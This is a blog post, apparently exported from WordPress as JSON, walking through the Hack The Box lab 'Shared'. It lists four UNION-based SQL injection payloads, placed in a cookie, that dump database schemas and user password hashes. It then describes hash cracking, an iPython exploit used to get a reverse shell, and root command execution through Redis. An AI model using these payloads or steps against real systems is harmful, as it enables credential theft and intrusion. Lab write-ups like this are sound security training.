{"id":211,"date":"2023-04-22T18:01:04","date_gmt":"2023-04-22T17:01:04","guid":{"rendered":"https:\/\/merrillnewman.tech\/?p=211"},"modified":"2023-04-22T18:03:34","modified_gmt":"2023-04-22T17:03:34","slug":"htb-shared","status":"publish","type":"post","link":"https:\/\/merrillnewman.tech\/?p=211","title":{"rendered":"HTB: Shared"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Overview<\/h3>\n\n\n\n<p>Shared is a great box that taught me much. You start out by enumerating a web app and then find an SQL injection in an unexpected place. You&#8217;ll use this SQL injection to extract a username and a password hash which can be cracked and used to SSH. Once on the box you&#8217;ll exploit iPython and Redis to make your way to root.<\/p>\n\n\n\n<!--more-->\n\n\n\n<h3 class=\"wp-block-heading\">Scan Details<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>PORT    STATE SERVICE  VERSION\n22\/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)\n| ssh-hostkey: \n|   3072 91e835f4695fc2e20e2746e2a6b6d865 (RSA)\n|   256 cffcc45d84fb580bbe2dad35409dc351 (ECDSA)\n|_  256 a3386d750964ed70cf17499adc126d11 (ED25519)\n80\/tcp  open  http     nginx 1.18.0\n|_http-title: Did not follow redirect to http:\/\/shared.htb\n|_http-server-header: nginx\/1.18.0\n443\/tcp open  ssl\/http nginx 1.18.0\n|_http-server-header: nginx\/1.18.0\n| tls-alpn: \n|   h2\n|_  http\/1.1\n|_ssl-date: TLS randomness does not represent time\n| tls-nextprotoneg: \n|   h2\n|_  http\/1.1\n| ssl-cert: Subject: commonName=*.shared.htb\/organizationName=HTB\/stateOrProvinceName=None\/countryName=US\n| Not valid before: 2022-03-20T13:37:14\n|_Not valid after:  2042-03-15T13:37:14\n|_http-title: Did not follow redirect to https:\/\/shared.htb\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Enumeration and Initial Foothold<\/h3>\n\n\n\n<p>Browsing to the site redirects us to <a href=\"https:\/\/shared.htb\">shared.htb<\/a> so we&#8217;ll have to add this to <code>\/etc\/hosts<\/code>. After doing so, we are presented with a online store that mentions a new checkout process on the front page.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"304\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-1024x304.png\" alt=\"\" class=\"wp-image-212\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-1024x304.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-300x89.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-768x228.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-1536x455.png 1536w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-2048x607.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">https:\/\/shared.htb<\/figcaption><\/figure>\n\n\n\n<p>Trying to test the checkout function, we find out that it doesn&#8217;t actually send a request. It just creates an alert.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"468\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-1-1024x468.png\" alt=\"\" class=\"wp-image-213\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-1-1024x468.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-1-300x137.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-1-768x351.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-1-1536x702.png 1536w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-1.png 1848w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">https:\/\/checkout.shared.htb<\/figcaption><\/figure>\n\n\n\n<p>Taking a closer look at the request used to get the page we see that in the <code>custom_cart <\/code>cookie, we have some JSON containing the product ID and the quantity to retrieve from the database.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"125\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-2-1024x125.png\" alt=\"\" class=\"wp-image-214\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-2-1024x125.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-2-300x37.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-2-768x93.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-2-1536x187.png 1536w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-2-2048x249.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Checkout GET request<\/figcaption><\/figure>\n\n\n\n<p>Doing some basic testing with single quotes and comments reveals that this is vulnerable to SQL injection. I used the following payloads to enumerate and exploit the database.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">Get Databases<\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>{\"' UNION SELECT 1,(SELECT group_concat(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA),3-- -\":\"1\"}<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">Get Tables<\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>{\"' UNION SELECT 1,(SELECT group_concat(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema LIKE 'checkout'),3-- -\":\"1\"}<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">Get Columns<\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>{\"' UNION SELECT 1,(SELECT group_concat(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name LIKE 'user'),3-- -\":\"1\"}<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">Get User Information<\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>{\"' UNION SELECT 1,(SELECT group_concat(username,':',password) FROM user),3-- -\":\"1\"}<\/code><\/pre>\n\n\n\n<p>The final payload will return a username and password hash.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"139\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-3-1024x139.png\" alt=\"\" class=\"wp-image-215\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-3-1024x139.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-3-300x41.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-3-768x104.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-3-1536x208.png 1536w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-3-2048x278.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Extracting user information via SQL injection<\/figcaption><\/figure>\n\n\n\n<p>Pasting this into <a href=\"https:\/\/crackstation.net\">crackstation<\/a> gives us a hit quickly.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"382\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-4-1024x382.png\" alt=\"\" class=\"wp-image-216\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-4-1024x382.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-4-300x112.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-4-768x286.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-4-1536x573.png 1536w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-4-2048x764.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Cracking hash with crackstation<\/figcaption><\/figure>\n\n\n\n<p>We can then use these credentials to SSH onto the box. But this is not enough to get the user flag, to get the user flag we will have to escalate our privileges to the dan_smith user as the flag is only readable by him and root.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"81\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-5-1024x81.png\" alt=\"\" class=\"wp-image-217\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-5-1024x81.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-5-300x24.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-5-768x61.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-5.png 1464w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Flag ownership and permissions<\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Privilege Escalation<\/h3>\n\n\n\n<p>Listing all files in dan_smith&#8217;s home directory reveals the hidden .iPython directory. Running strings on the <code>history.sqlite<\/code> file within reveals that iPython is being ran every minute.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"180\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-6-1024x180.png\" alt=\"\" class=\"wp-image-218\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-6-1024x180.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-6-300x53.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-6-768x135.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-6.png 1504w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">strings history.sqlite<\/figcaption><\/figure>\n\n\n\n<p>This could be a good target since it looks like iPython is being ran every minute under the dan_smith user. Getting the version (8.0.0) by simply running <code>ipython<\/code>, we can google for exploits. In the first couple results we will see a GitHub advisory.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"993\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-7-1024x993.png\" alt=\"\" class=\"wp-image-219\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-7-1024x993.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-7-300x291.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-7-768x745.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-7-1536x1490.png 1536w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-7.png 1880w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">iPython GitHub advisory<\/figcaption><\/figure>\n\n\n\n<p>Seems simple enough to exploit, but we will need to find out the directory that iPython is being ran from. To do this we can use Pspy.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"50\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-8-1024x50.png\" alt=\"\" class=\"wp-image-220\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-8-1024x50.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-8-300x15.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-8-768x37.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-8-1536x75.png 1536w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-8-2048x100.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Pspy output<\/figcaption><\/figure>\n\n\n\n<p>We can see that the cronjob executes iPython from the <code>\/opt\/scripts_review<\/code> directory. With this information we can rip a Python reverse shell off of <code><a href=\"https:\/\/www.revshells.com\/\">revshells.com<\/a><\/code> and follow the advisory steps.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"369\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-9-1024x369.png\" alt=\"\" class=\"wp-image-221\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-9-1024x369.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-9-300x108.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-9-768x277.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-9-1536x553.png 1536w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-9.png 1888w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Following advisory steps<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"209\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-10-1024x209.png\" alt=\"\" class=\"wp-image-222\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-10-1024x209.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-10-300x61.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-10-768x157.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-10.png 1488w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Receiving a shell as dan_smith<\/figcaption><\/figure>\n\n\n\n<p>From here we can take dan_smith&#8217;s ssh key and ssh as him. Continuing our enumeration as dan_smith, we see that we are a part of the sysadmin group. Looking for files owned by this group reveals a custom binary.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"162\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-11-1024x162.png\" alt=\"\" class=\"wp-image-223\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-11-1024x162.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-11-300x48.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-11-768x122.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-11.png 1312w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Finding files owned by sysadmins<\/figcaption><\/figure>\n\n\n\n<p>Running it shows that it logs into a Redis instance and executes the info command.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"804\" height=\"1024\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-12-804x1024.png\" alt=\"\" class=\"wp-image-224\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-12-804x1024.png 804w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-12-236x300.png 236w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-12-768x978.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-12.png 1148w\" sizes=\"auto, (max-width: 804px) 100vw, 804px\" \/><figcaption class=\"wp-element-caption\">redis_connector_dev output<\/figcaption><\/figure>\n\n\n\n<p>Copying the file to our local machine and running it shows that it tries to login to Redis at localhost on port 6379 and then fails.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"288\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-13-1024x288.png\" alt=\"\" class=\"wp-image-225\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-13-1024x288.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-13-300x84.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-13-768x216.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-13.png 1194w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">redis_connector_dev output on attack box<\/figcaption><\/figure>\n\n\n\n<p>Starting a listener and then running it will give us the Redis password.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"370\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-14-1024x370.png\" alt=\"\" class=\"wp-image-226\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-14-1024x370.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-14-300x108.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-14-768x278.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-14.png 1344w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Getting Redis password.<\/figcaption><\/figure>\n\n\n\n<p>With access to Redis we can use <a href=\"https:\/\/github.com\/n0b0dyCN\/RedisModules-ExecuteCommand\">RedisModules-ExecuteCommand<\/a> to execute commands as root.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"329\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-15-1024x329.png\" alt=\"\" class=\"wp-image-227\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-15-1024x329.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-15-300x96.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-15-768x247.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/04\/image-15.png 1294w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Overview Shared is a great box that taught me much. You start out by enumerating a web app and then find an SQL injection in an unexpected place. You&#8217;ll use this SQL injection to extract a username and a password hash which can be cracked and used to SSH. Once on the box you&#8217;ll exploit [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":232,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"hide_page_title":"","_coblocks_attr":"","_coblocks_dimensions":"","_coblocks_responsive_height":"","_coblocks_accordion_ie_support":"","_mi_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-211","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorised"],"_links":{"self":[{"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/posts\/211","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=211"}],"version-history":[{"count":4,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/posts\/211\/revisions"}],"predecessor-version":[{"id":231,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/posts\/211\/revisions\/231"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/media\/232"}],"wp:attachment":[{"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=211"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=211"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=211"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}